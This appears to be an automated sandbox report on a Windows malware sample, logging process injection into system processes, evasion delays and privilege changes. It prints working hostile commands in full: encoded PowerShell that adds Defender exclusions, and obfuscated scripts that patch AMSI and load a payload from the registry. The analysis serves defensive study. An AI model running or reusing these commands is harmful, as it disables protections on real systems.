Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5248	Thread sleep count: 2928 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2596	Thread sleep count: 272 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6600	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 480	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe TID: 3296	Thread sleep count: 35 > 30
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe TID: 3296	Thread sleep time: -35000s >= -30000s
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe TID: 6828	Thread sleep count: 77 > 30
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe TID: 6828	Thread sleep time: -77000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2912	Thread sleep count: 3963 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1368	Thread sleep count: 581 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1344	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5384	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5340	Thread sleep count: 1048 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5340	Thread sleep count: 151 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7148	Thread sleep count: 63 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4180	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Roaming\Chrome\chrome.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\lsass.exe	Last function: Thread delayed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed
Source: C:\Windows\System32\svchost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5547	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3401	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5587	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2582	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 989
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2928
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3963
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 581
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1048

Source: C:\Windows\System32\dllhost.exe

Check user administrative privileges: GetTokenInformation,DecisionNodes

graph_39-6467

Source: C:\Windows\System32\lsass.exe	API coverage: 3.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 3.2 %
Source: C:\Windows\System32\svchost.exe	API coverage: 3.2 %

Source: C:\Windows\System32\lsass.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Install.exe

API call chain: ExitProcess graph end node

graph_1-3376

Source: C:\Users\user\AppData\Roaming\34432.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_00405C49 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405C49
Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_00406873 FindFirstFileW,FindClose,	1_2_00406873
Source: C:\Users\user\Desktop\Install.exe	Code function: 1_2_0040290B FindFirstFileW,	1_2_0040290B
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140006E1C FindFirstFileExW,	22_2_0000000140006E1C
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_00000001400073C8 FindFirstFileExW,	39_2_00000001400073C8
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD0D0E4 FindFirstFileExW,	42_2_000001AFDDD0D0E4
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BBD0E4 FindFirstFileExW,	44_2_00000240B2BBD0E4
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D0D0E4 FindFirstFileExW,	47_2_000001CAF3D0D0E4
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF4D0E4 FindFirstFileExW,	49_2_000001B8BFF4D0E4

Source: C:\Windows\System32\nslookup.exe

Code function: 22_2_0000000140005D5C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

22_2_0000000140005D5C

Source: C:\Windows\System32\nslookup.exe

Code function: 22_2_00000001400090E0 GetProcessHeap,

22_2_00000001400090E0

Source: C:\Users\user\AppData\Roaming\34432.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dllhost.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Roaming\34432.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_00000001400021B8 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	22_2_00000001400021B8
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140002CF4 SetUnhandledExceptionFilter,	22_2_0000000140002CF4
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140005D5C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0000000140005D5C
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_0000000140002B10 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_0000000140002B10
Source: C:\Windows\System32\nslookup.exe	Code function: 22_2_000000014000235C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	22_2_000000014000235C
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140002338 SetUnhandledExceptionFilter,_invalid_parameter_noinfo,	39_2_0000000140002338
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_0000000140002C90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_0000000140002C90
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_00000001400024DC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	39_2_00000001400024DC
Source: C:\Windows\System32\dllhost.exe	Code function: 39_2_000000014000624C RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	39_2_000000014000624C
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD09098 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_000001AFDDD09098
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD08450 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	42_2_000001AFDDD08450
Source: C:\Windows\System32\winlogon.exe	Code function: 42_2_000001AFDDD0BEC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	42_2_000001AFDDD0BEC8
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BB8450 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	44_2_00000240B2BB8450
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BB9098 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_00000240B2BB9098
Source: C:\Windows\System32\lsass.exe	Code function: 44_2_00000240B2BBBEC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	44_2_00000240B2BBBEC8
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D08450 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	47_2_000001CAF3D08450
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D09098 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_000001CAF3D09098
Source: C:\Windows\System32\svchost.exe	Code function: 47_2_000001CAF3D0BEC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	47_2_000001CAF3D0BEC8
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF49098 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000001B8BFF49098
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF48450 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	49_2_000001B8BFF48450
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001B8BFF4BEC8 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000001B8BFF4BEC8

HIPS / PFW / Operating System Protection Evasion

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionExtension @('exe','dll') -Force
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionExtension @('exe','dll') -Force	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded Add-MpPreference -ExclusionPath @($env:UserProfile,$env:SystemDrive) -Force

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 protect: page execute and read and write			Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory allocated: C:\Windows\System32\nslookup.exe base: 140000000 protect: page execute and read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140000000 value starts with: 4D5A	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1AFDDCD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 240B2B80000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CAF3CD0000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8BFF10000 value starts with: 4D5A
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2C633850000 value starts with: 4D5A

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: DDCD35D0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\lsass.exe EIP: B2B835D0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: F3CD35D0
Source: C:\Windows\System32\dllhost.exe	Thread created: C:\Windows\System32\svchost.exe EIP: BFF135D0

Writes to foreign memory regions

Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\ChiefKeefofficialnaxyi_crypted(6).exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 4CF1008	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140000000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140001000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14000E000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140019000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14001B000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14001C000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 14001D000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 140056000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\34432.exe	Memory written: C:\Windows\System32\nslookup.exe base: 44EB131010	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140000000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140001000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14000E000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 140018000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001A000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001B000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14001C000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: 14003F000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Memory written: C:\Windows\System32\dllhost.exe base: EE637B6010
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\winlogon.exe base: 1AFDDCD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\lsass.exe base: 240B2B80000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1CAF3CD0000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\svchost.exe base: 1B8BFF10000
Source: C:\Windows\System32\dllhost.exe	Memory written: C:\Windows\System32\dwm.exe base: 2C633850000

.NET source code references suspicious native API functions

Source: 34432.exe.1.dr, u200f????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'WriteProcessMemory@kernel32.dll'), ('?????????????????????????????????????????', 'VirtualAllocEx@kernel32.dll')
Source: 2.3.ChiefKeefofficialnaxyi_crypted(6).exe.2670000.0.unpack, u0003u2006.cs	Reference to suspicious API methods: ('\\x02', 'LoadLibrary@kernel32.dll'), ('\\x02', 'GetProcAddress@kernel32.dll')
Source: chrome.exe.4.dr, u200f????????????????????????????????????????.cs	Reference to suspicious API methods: ('?????????????????????????????????????????', 'WriteProcessMemory@kernel32.dll'), ('?????????????????????????????????????????', 'VirtualAllocEx@kernel32.dll')
Source: 5.2.AppLaunch.exe.400000.0.unpack, u0003u2006.cs	Reference to suspicious API methods: ('\\x02', 'LoadLibrary@kernel32.dll'), ('\\x02', 'GetProcAddress@kernel32.dll')

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\34432.exe	Thread register set: target process: 7056			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread register set: target process: 2324

Source: C:\Users\user\AppData\Roaming\34432.exe	Process created: C:\Windows\System32\cmd.exe "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:oBYZxpoBuJDg{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hCPAJCDcAnFqJq,[Parameter(Position=1)][Type]$NibVxWxTFc)$qKHXRLjxcQb=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$qKHXRLjxcQb.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');$qKHXRLjxcQb.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$NibVxWxTFc,$hCPAJCDcAnFqJq).SetImplementationFlags('Runtime,Managed');Write-Output $qKHXRLjxcQb.CreateType();}$uYKrZWxknTiUv=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$SpNyfScDlNPPHB=$uYKrZWxknTiUv.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$RRmRtbQVOsCwqbtFCRP=oBYZxpoBuJDg @([String])([IntPtr]);$CSrLsWTvUKtnfJeCoYnQHQ=oBYZxpoBuJDg @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LbwxtlPJWDL=$uYKrZWxknTiUv.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$UsbtvKZkuSsHuw=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Load'+'LibraryA')));$GBWVSxTZRtiWMYLEL=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$LbwxtlPJWDL,[Object]('Vir'+'tual'+'Pro'+'tect')));$zcmbglj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($UsbtvKZkuSsHuw,$RRmRtbQVOsCwqbtFCRP).Invoke('a'+'m'+'si.dll');$NtWqUAjxRFzIehWzj=$SpNyfScDlNPPHB.Invoke($Null,@([Object]$zcmbglj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$QZnCEHiAlz=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,4,[ref]$QZnCEHiAlz);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$NtWqUAjxRFzIehWzj,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GBWVSxTZRtiWMYLEL,$CSrLsWTvUKtnfJeCoYnQHQ).Invoke($NtWqUAjxRFzIehWzj,[uint32]8,0x20,[ref]$QZnCEHiAlz);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JcVEStQtPhkP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$jwjRgZFzaeZBQB,[Parameter(Position=1)][Type]$jXrdWylJno)$JkETjFsAcrF=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$JkETjFsAcrF.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');$JkETjFsAcrF.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$jXrdWylJno,$jwjRgZFzaeZBQB).SetImplementationFlags('Runtime,Managed');Write-Output $JkETjFsAcrF.CreateType();}$lPmVEIqLxWSBJ=([AppDomain]::CurrentDomain.GetAssemblies()\|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$oknnqNPEawtCof=$lPmVEIqLxWSBJ.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$PfTqTVeTqNbzEtTZAwA=JcVEStQtPhkP @([String])([IntPtr]);$FBhryrsEcCEQMAYVVFmrjj=JcVEStQtPhkP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$gdWNaSIjpXI=$lPmVEIqLxWSBJ.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$MwCkRVFOfjwTFV=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Load'+'LibraryA')));$PwfBMMcphOddVTLUY=$oknnqNPEawtCof.Invoke($Null,@([Object]$gdWNaSIjpXI,[Object]('Vir'+'tual'+'Pro'+'tect')));$FyAgKxj=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MwCkRVFOfjwTFV,$PfTqTVeTqNbzEtTZAwA).Invoke('a'+'m'+'si.dll');$GiLFGjttEZsjytHxc=$oknnqNPEawtCof.Invoke($Null,@([Object]$FyAgKxj,[Object]('Ams'+'iSc'+'an'+'Buffer')));$XarcXAurwd=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,4,[ref]$XarcXAurwd);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$GiLFGjttEZsjytHxc,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PwfBMMcphOddVTLUY,$FBhryrsEcCEQMAYVVFmrjj).Invoke($GiLFGjttEZsjytHxc,[uint32]8,0x20,[ref]$XarcXAurwd);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"
